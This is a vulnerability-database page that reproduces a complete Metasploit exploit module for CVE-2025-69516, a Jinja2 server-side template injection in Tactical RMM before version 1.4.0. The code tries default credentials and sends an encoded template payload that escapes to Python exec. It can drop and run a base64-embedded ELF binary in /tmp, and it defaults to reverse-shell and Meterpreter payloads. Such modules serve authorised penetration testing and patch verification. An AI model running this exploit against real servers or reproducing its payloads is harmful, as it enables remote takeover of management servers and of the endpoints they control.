Lucene search
K

Tactical RMM Jinja2 SSTI Remote Code Execution

🗓️ 05 Mar 2026 18:59:52Reported by Gabriel Gomes, Valentin Lobstein <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 222 Views

Exploits server side template injection in Tactical RMM before version 1.4.0 via Jinja2 to run code after login.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Improper Neutralization of Special Elements Used in a Template Engine in Amidaware Tactical_Rmm
14 Mar 202601:20
githubexploit
GithubExploit
Exploit for CVE-2025-69516
10 Feb 202601:40
githubexploit
ATTACKERKB
CVE-2025-69516
29 Jan 202600:00
attackerkb
Circl
CVE-2025-69516
29 Jan 202622:22
circl
CNNVD
Tactical RMM security vulnerabilities
29 Jan 202600:00
cnnvd
CVE
CVE-2025-69516
29 Jan 202600:00
cve
Cvelist
CVE-2025-69516
29 Jan 202600:00
cvelist
EUVD
EUVD-2025-206512
29 Jan 202600:00
euvd
NVD
CVE-2025-69516
29 Jan 202620:16
nvd
Packet Storm
📄 Tactical RMM Jinja2 SSTI Remote Code Execution
5 Mar 202600:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tactical RMM Jinja2 SSTI Remote Code Execution',
        'Description' => %q{
          This module exploits a Server-Side Template Injection (SSTI) vulnerability
          in Tactical RMM versions prior to 1.4.0 (CVE-2025-69516).

          The reporting template preview endpoint passes user-controlled Jinja2 template
          content to Environment.from_string() without sandboxing, allowing arbitrary
          Python code execution on the server.

          Valid credentials are required. The module authenticates to obtain a Knox API
          token, then delivers a Jinja2 SSTI payload through the template preview
          functionality to achieve OS command execution.

          The vulnerability was silently patched in version 1.4.0 by switching from
          jinja2.Environment to jinja2.sandbox.SandboxedEnvironment.
        },
        'Author' => [
          'Gabriel Gomes', # CVE discovery
          'Valentin Lobstein <chocapikk[at]leakix.net>' # Module and analysis
        ],
        'References' => [
          ['CVE', '2025-69516'],
          ['URL', 'https://github.com/amidaware/tacticalrmm'],
          ['URL', 'https://github.com/NtGabrielGomes/CVE-2025-69516']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Python',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter_reverse_tcp' }
            }
          ],
          [
            'Unix/Linux Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' }
            }
          ],
          [
            'Linux x64',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X64,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'DisclosureDate' => '2026-01-29',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'Username for Tactical RMM', 'tactical']),
      OptString.new('PASSWORD', [true, 'Password for Tactical RMM', 'tactical']),
      OptString.new('API_VHOST', [false, 'API hostname (auto-discovered from /env-config.js if blank)']),
      OptString.new('WritableDir', [true, 'Writable directory for payload drop', '/tmp'])
    ])
  end

  def discover_api_host
    return datastore['API_VHOST'] unless datastore['API_VHOST'].blank?

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'env-config.js')
    )

    if res&.code == 200 && res.body =~ %r{PROD_URL:\s*"https?://([^"]+)"}
      api_host = ::Regexp.last_match(1)
      vprint_status("Auto-discovered API host: #{api_host}")
      return api_host
    end

    nil
  end

  def api_request(opts = {})
    @api_host ||= discover_api_host
    if @api_host
      opts['headers'] ||= {}
      opts['headers']['Host'] = @api_host
    end
    send_request_cgi(opts)
  end

  def try_login
    res = api_request(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'v2', 'checkcreds/'),
      'ctype' => 'application/json',
      'data' => { username: datastore['USERNAME'], password: datastore['PASSWORD'] }.to_json
    )

    return nil unless res&.code == 200

    json = res.get_json_document
    return nil if json['totp'] == true

    json['token']
  end

  def login
    token = try_login
    fail_with(Failure::NoAccess, 'Authentication failed') unless token

    token
  end

  def send_template(token, template_md)
    api_request(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'reporting', 'templates', 'preview/'),
      'ctype' => 'application/json',
      'headers' => { 'Authorization' => "Token #{token}" },
      'data' => {
        template_md: template_md,
        type: 'html',
        template_css: '',
        template_html: nil,
        template_variables: '{}',
        dependencies: {},
        format: 'html',
        debug: false
      }.to_json
    )
  end

  def get_version(token)
    res = api_request(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'core', 'dashinfo/'),
      'headers' => { 'Authorization' => "Token #{token}" }
    )

    return nil unless res&.code == 200

    json = res.get_json_document
    json['trmm_version']
  end

  def check
    @token ||= try_login
    return CheckCode::Unknown('Authentication failed') unless @token

    vprint_status('Authenticated successfully')

    version = get_version(@token)
    if version
      vprint_status("Tactical RMM version: #{version}")
      return CheckCode::Safe("Version #{version} is patched (SandboxedEnvironment)") if Rex::Version.new(version) >= Rex::Version.new('1.4.0')

      print_good("Version #{version} is vulnerable (< 1.4.0)")
    end

    vprint_status('Confirming SSTI...')
    rand_a = rand(2..100)
    rand_b = rand(2..100)
    expected = (rand_a * rand_b).to_s
    res = send_template(@token, "{{ #{rand_a}*#{rand_b} }}")

    return CheckCode::Unknown('No response from template preview endpoint') unless res
    return CheckCode::Vulnerable('Jinja2 SSTI confirmed via unsandboxed template evaluation') if res.code == 200 && res.body.include?(expected)
    return CheckCode::Safe('Template preview accessible but expressions not evaluated') if res.code == 200

    CheckCode::Safe("Template preview returned HTTP #{res.code}")
  end

  def ssti_payload(code)
    encoded = Rex::Text.encode_base64(code)
    '{% set g=cycler.__init__.__globals__ %}{% set b=g["__builtins__"] %}' \
    "{% set x=b['__import__']('threading').Thread(target=b['exec'],args=(b['__import__']('base64').b64decode('#{encoded}').decode(),{'__builtins__':b}),daemon=True).start() %}"
  end

  # The target container has no curl/wget, so we embed the ELF payload
  # inline as base64 and use Python to write, execute, and clean it up.
  def python_dropper(exe)
    p = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
    "import base64,os,subprocess,time;p='#{p}';open(p,'wb').write(base64.b64decode('#{[exe].pack('m0')}'));os.chmod(p,0o755);subprocess.Popen([p]);time.sleep(2);os.remove(p)"
  end

  def exploit
    @token ||= login
    print_status('Authenticated, token obtained')
    print_status('Sending SSTI payload...')

    case target['Arch']
    when ARCH_PYTHON
      code = payload.encoded
    when ARCH_CMD
      code = "import subprocess;subprocess.Popen(#{payload.encoded.inspect},shell=True)"
    when ARCH_X64
      code = python_dropper(generate_payload_exe)
    end

    send_template(@token, ssti_payload(code))
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation